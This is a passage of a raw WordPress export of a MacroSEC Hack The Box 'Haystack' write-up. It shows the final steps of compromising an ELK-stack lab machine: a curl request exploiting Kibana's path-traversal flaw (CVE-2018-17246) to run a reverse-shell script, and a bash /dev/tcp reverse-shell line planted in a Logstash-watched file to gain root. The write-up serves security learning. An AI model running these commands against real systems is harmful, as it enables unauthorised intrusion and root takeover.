src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image6.png\" alt class=\"img-responsive wp-image-563\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image6-200x68.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image6-400x137.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image6-600x205.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image6-800x274.png 800w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image6.png 1111w\" sizes=\"(max-width: 800px) 100vw, 1111px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-17\"><p style=\"font-size: 20px;\">This JavaScript code will spawn a reverse shell as soon as the vulnerability gets triggered locally.<\/p>\n<p style=\"font-size: 20px;\">Start a netcat listener on the set port on your attacking machine:<\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>nc -lvvp 1337<\/strong><\/p>\n<p style=\"font-size: 20px;\">To execute the exploit, query the Kibana instance on port 5601 with curl, make sure to point the path to the shell file in \/tmp<\/p>\n<p style=\"font-size: 20px;\"><em>Note: <strong>server.port\u00a0<\/strong> Default: <strong>5601<\/strong> Kibana is served by a back end server.<\/em><\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>curl -v &#8220;http:\/\/localhost:5601\/api\/console\/api_server?apis=..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/tmp\/sh3ll.js&#8221;<\/strong><\/p>\n<p style=\"font-size: 20px;\">This gives us a shell connection back to the target as user <strong>kibana<\/strong><\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-9 hover-type-none\"><img decoding=\"async\" width=\"548\" height=\"110\" title=\"image7\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image7.png\" alt class=\"img-responsive wp-image-566\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image7-200x40.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image7-400x80.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image7.png 548w\" sizes=\"(max-width: 800px) 100vw, 548px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-18\"><p style=\"font-size: 20px;\">We still need to get root on the target. Checking the processes running now as user kibana we get a Kibana instance (the user interface):<\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-9 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-border-sizes-top:0px;--awb-border-sizes-bottom:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-8 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-padding-top:10px;--awb-padding-right:10px;--awb-padding-bottom:10px;--awb-padding-left:10px;--awb-bg-color:#353535;--awb-bg-color-hover:#353535;--awb-bg-size:cover;--awb-border-color:#b51616;--awb-border-top:1px;--awb-border-right:1px;--awb-border-bottom:1px;--awb-border-left:1px;--awb-border-style:solid;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-19\"><p><strong>kibana 6287 1.9 5.2 1351468 204620 ? Rsl 10:53 0:38 \/usr\/share\/kibana\/bin\/..\/node\/bin\/node &#8211;no-warnings \/usr\/share\/kibana\/bin\/..\/src\/cli -c \/etc\/kibana\/kibana.yml<\/strong><\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-10 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-9 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-20\"><p style=\"font-size: 20px;\">As well as a java service running <strong>logstash<\/strong> as user <strong>root<\/strong>.<\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-11 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-border-sizes-top:0px;--awb-border-sizes-bottom:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-10 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-padding-top:10px;--awb-padding-right:10px;--awb-padding-bottom:10px;--awb-padding-left:10px;--awb-bg-color:#353535;--awb-bg-color-hover:#353535;--awb-bg-size:cover;--awb-border-color:#b51616;--awb-border-top:1px;--awb-border-right:1px;--awb-border-bottom:1px;--awb-border-left:1px;--awb-border-style:solid;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-21\"><p><strong>root 6285 8.4 13.2 2731544 511876 ? SNsl 10:53 2:46 \/bin\/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:\/dev\/urandom -cp \/usr\/share\/logstash\/logstash-core\/lib\/jars\/animal-sniffer-annotations-1.14.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/commons-codec-1.11.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/commons-compiler-3.0.8.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/error_prone_annotations-2.0.18.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/google-java-format-1.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/gradle-license-report-0.7.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/guava-22.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/j2objc-annotations-1.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jackson-annotations-2.9.5.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jackson-core-2.9.5.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jackson-databind-2.9.5.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jackson-dataformat-cbor-2.9.5.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/janino-3.0.8.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jruby-complete-9.1.13.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/jsr305-1.3.9.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/log4j-api-2.9.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/log4j-core-2.9.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/log4j-slf4j-impl-2.9.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/logstash-core.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.commands-3.6.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.contenttype-3.4.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.expressions-3.4.300.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.filesystem-1.3.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.jobs-3.5.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.resources-3.7.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.core.runtime-3.7.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.equinox.app-1.3.100.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.equinox.common-3.6.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.equinox.preferences-3.4.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.equinox.registry-3.5.101.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.jdt.core-3.10.0.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.osgi-3.7.1.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/org.eclipse.text-3.5.101.jar:\/usr\/share\/logstash\/logstash-core\/lib\/jars\/slf4j-api-1.7.25.jar org.logstash.Logstash &#8211;path.settings \/etc\/logstash<\/strong><\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-12 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-11 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-22\"><p style=\"font-size: 20px;\">Looking at the end of the process gives path settings for the service:<\/p>\n<p style=\"font-size: 20px;\"><strong>&#8211;path.settings \/etc\/logstash<\/strong><\/p>\n<p style=\"font-size: 20px;\">Investigating this further we find a folder called <strong>conf.d<\/strong> which contains some configuration files. Getting more information on the configurations we can get an idea of what is happening.<\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-10 hover-type-none\"><img decoding=\"async\" width=\"886\" height=\"647\" title=\"image8\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image8.png\" alt class=\"img-responsive wp-image-574\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image8-200x146.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image8-400x292.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image8-600x438.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image8-800x584.png 800w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image8.png 886w\" sizes=\"(max-width: 800px) 100vw, 886px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-23\"><p style=\"font-size: 20px;\">Of interest is the <strong>input.conf<\/strong> file that shows a command is executed every 10seconds from the path <strong>\/opt\/kibana\/logstash_*<\/strong><\/p>\n<p style=\"font-size: 20px;\">The exploit leverages the <strong>grok filter plugin<\/strong>.<\/p>\n<p style=\"font-size: 20px;\">Set up another netcat instance<\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>nc -lvvp 5228<\/strong><\/p>\n<p style=\"font-size: 20px;\">We now create a logstash file with the command we want executed, which in our case is to get a shell back on the machine and since the command gets executed as root we should have an elevated shell. To create get the shell create the logstash file with the following input:<\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>echo &#8220;Ejecutar comando : bash -i &gt;&amp; \/dev\/tcp\/10.10.15.48\/5228 0&gt;&amp;1&#8221; &gt; \/opt\/kibana\/logstash_1<\/strong><\/p>\n<p style=\"font-size: 20px;\">Wait for the process to get executed and you will have a shell as <strong>root<\/strong> on the netcat session on port 5228. Locate the <strong>root.txt<\/strong> file and get the root hash.<\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-11 hover-type-none\"><img decoding=\"async\" width=\"550\" height=\"220\" title=\"image9\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image9.png\" alt class=\"img-responsive wp-image-576\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image9-200x80.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image9-400x160.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image9.png 550w\" sizes=\"(max-width: 800px) 100vw, 550px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:25px;width:100%;max-width:45%;\"><div class=\"fusion-separator-border sep-single sep-solid\" style=\"--awb-height:20px;--awb-amount:20px;--awb-sep-color:#b51616;border-color:#b51616;border-top-width:4px;\"><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-24\"><h1 style=\"font-size: 20px; color: white; text-align: left;\"><span style=\"text-decoration: underline;\"><strong>CONCLUSION<\/strong><\/span><\/h1>\n<\/div><div class=\"fusion-text fusion-text-25\"><p style=\"font-size: 20px;\">We\u2019ve looked at the <strong>Elastic stack<\/strong> (ELK stack) and how its environment with its components and modules can be used to chain different vulnerabilities to obtain root privileges on the target.<\/p>\n<p style=\"font-size: 20px;\">First, we used Elastic\u2019s <strong>elasticsearch<\/strong> module to <strong>aquire credentials<\/strong> and the <strong>user.txt<\/strong> flag.<\/p>\n<p style=\"font-size: 20px;\">Next, we\u2019ve escalated our priviliges <strong>by exploiting a LFI vulnerability<\/strong> in the <strong>Kibana<\/strong> module \u2013 to privilege escalation from user <strong>\u201csecurity\u201d<\/strong> to <strong>\u201ckibana\u201d<\/strong>.<\/p>\n<p style=\"font-size: 20px;\">In the last step, we spawned a shell with the help of <strong>grok<\/strong> in the <strong>Logstash<\/strong> module to obtain <strong>root<\/strong> privileges..<\/p>\n<\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-26\"><h1 style=\"font-size: 20px; color: white; text-align: left;\"><span style=\"text-decoration: underline;\"><strong>REFERENCE LINKS<\/strong><\/span><\/h1>\n<\/div><div class=\"fusion-text fusion-text-27\"><p style=\"font-size: 20px;\"><a href=\"https:\/\/www.elastic.co\/guide\/en\/elasticsearch\/reference\/6.4\/index.html\">https:\/\/www.elastic.co\/guide\/en\/elasticsearch\/reference\/6.4\/index.html<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/www.elastic.co\/what-is\/elk-stack\">https:\/\/www.elastic.co\/what-is\/elk-stack<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/logz.io\/blog\/elasticsearch-tutorial\/\">https:\/\/logz.io\/blog\/elasticsearch-tutorial\/<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/logz.io\/blog\/elk-siem\/\">https:\/\/logz.io\/blog\/elk-siem\/<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/www.cvedetails.com\/vulnerability-list\/vendor_id-13554\/product_id-31867\/Elasticsearch-Kibana.html\">https:\/\/www.cvedetails.com\/vulnerability-list\/vendor_id-13554\/product_id-31867\/Elasticsearch-Kibana.html<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-17246\">https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-17246<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/www.elastic.co\/blog\/kibana-local-file-inclusion-flaw-cve-2018-17246\">https:\/\/www.elastic.co\/blog\/kibana-local-file-inclusion-flaw-cve-2018-17246<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/www.elastic.co\/blog\/kibana-local-file-inclusion-flaw-cve-2018-17246\">https:\/\/github.com\/mpgn\/CVE-2018-17246<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/www.cyberark.com\/threat-research-blog\/execute-this-i-know-you-have-it\/\">https:\/\/www.cyberark.com\/threat-research-blog\/execute-this-i-know-you-have-it\/<\/a><\/p>\n<p style=\"font-size: 20px;\"><a href=\"https:\/\/www.elastic.co\/guide\/en\/logstash\/current\/plugins-filters-grok.html\">https:\/\/www.elastic.co\/guide\/en\/logstash\/current\/plugins-filters-grok.html<\/a><\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":483,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"nf_dc_page":"","footnotes":""},"categories":[6,8],"tags":[],"class_list":["post-481","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hack-the-box","category-pentesting"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hack The Box - Haystack &#8212; MacroSEC<\/title>\n<meta name=\"description\" content=\"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hack The Box - Haystack &#8212; MacroSEC\" \/>\n<meta property=\"og:description\" content=\"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)\" \/>\n<meta property=\"og:url\" content=\"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/\" \/>\n<meta property=\"og:site_name\" content=\"MacroSEC\" \/>\n<meta property=\"article:published_time\" content=\"2019-11-04T15:46:10+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2020-01-29T21:06:59+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png\" \/>\n\t<meta property=\"og:image:width\" content=\"332\" \/>\n\t<meta property=\"og:image:height\" content=\"358\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Amarjit Labhuram\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@amarjit_labu\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Amarjit Labhuram\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"40 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\"},\"author\":{\"name\":\"Amarjit Labhuram\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/person\\\/d9d95e3245148a5fd3ea964e0775c8a9\"},\"headline\":\"Hack The Box &#8211; Haystack\",\"datePublished\":\"2019-11-04T15:46:10+00:00\",\"dateModified\":\"2020-01-29T21:06:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\"},\"wordCount\":8024,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/Haystack-Blog.png\",\"articleSection\":[\"Hack The Box\",\"Penetration Testing\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\",\"name\":\"Hack The Box - Haystack &#8212; MacroSEC\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/Haystack-Blog.png\",\"datePublished\":\"2019-11-04T15:46:10+00:00\",\"dateModified\":\"2020-01-29T21:06:59+00:00\",\"description\":\"A writeup of getting both user and root on the machine Haystack from Hack The Box (hackthebox.eu)\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#primaryimage\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/Haystack-Blog.png\",\"contentUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2019\\\/11\\\/Haystack-Blog.png\",\"width\":332,\"height\":358},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/index.php\\\/2019\\\/11\\\/04\\\/htb-haystack\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/macrosec.tech\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hack The Box &#8211; Haystack\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#website\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/\",\"name\":\"MacroSEC\",\"description\":\"Your Cybersecurity Partner - Kenya\",\"publisher\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/macrosec.tech\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#organization\",\"name\":\"MacroSec Ltd\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/MobileIcon_Retine.png\",\"contentUrl\":\"https:\\\/\\\/macrosec.tech\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/MobileIcon_Retine.png\",\"width\":400,\"height\":107,\"caption\":\"MacroSec Ltd\"},\"image\":{\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/macrosec.tech\\\/#\\\/schema\\\/person\\\/d9d95e3245148a5fd3ea964e0775c8a9\",\"name\":\"Amarjit Labhuram\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/2b2463550dd9f2056d7f5eeb68fe855ca41ae56f9364d6827097858a1d141838?s=96&d=mm&r=g\",\"caption\":\"Amarjit Labhuram\"},\"description\":\"I am a keen professional geek with a broad range of analytical skills and interests ranging from theoretical physics to practical security architectures. My professional experience is focused on all the common types of penetration testing and some rather less orthodox methods . Extensive exposure to a broad range of businesses, architectures, and technologies backs up the theoretical knowledge I'm able to bring all the way from the keyboard to the boardroom. I'm always looking to learn and develop, but a key part of satisfaction for me is applying skills and knowledge to solve interesting real world problems. I typically do this by constructing a model, validating it, and then reasoning (often mathematically or in code) through the potential solutions finding the one with optimum parameters. For the sake of everybody else I've learned over the years how to convey the jist and the results at the right level to people with diverse backgrounds.\",\"sameAs\":[\"https:\\\/\\\/www.linkedin.com\\\/in\\\/amarjit-labhuram-51699815\\\/\",\"https:\\\/\\\/x.com\\\/amarjit_labu\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hack The Box - Haystack &#8212; MacroSEC","description":"A writeup of getting both user and root on the machine Haystack from Hack The Box 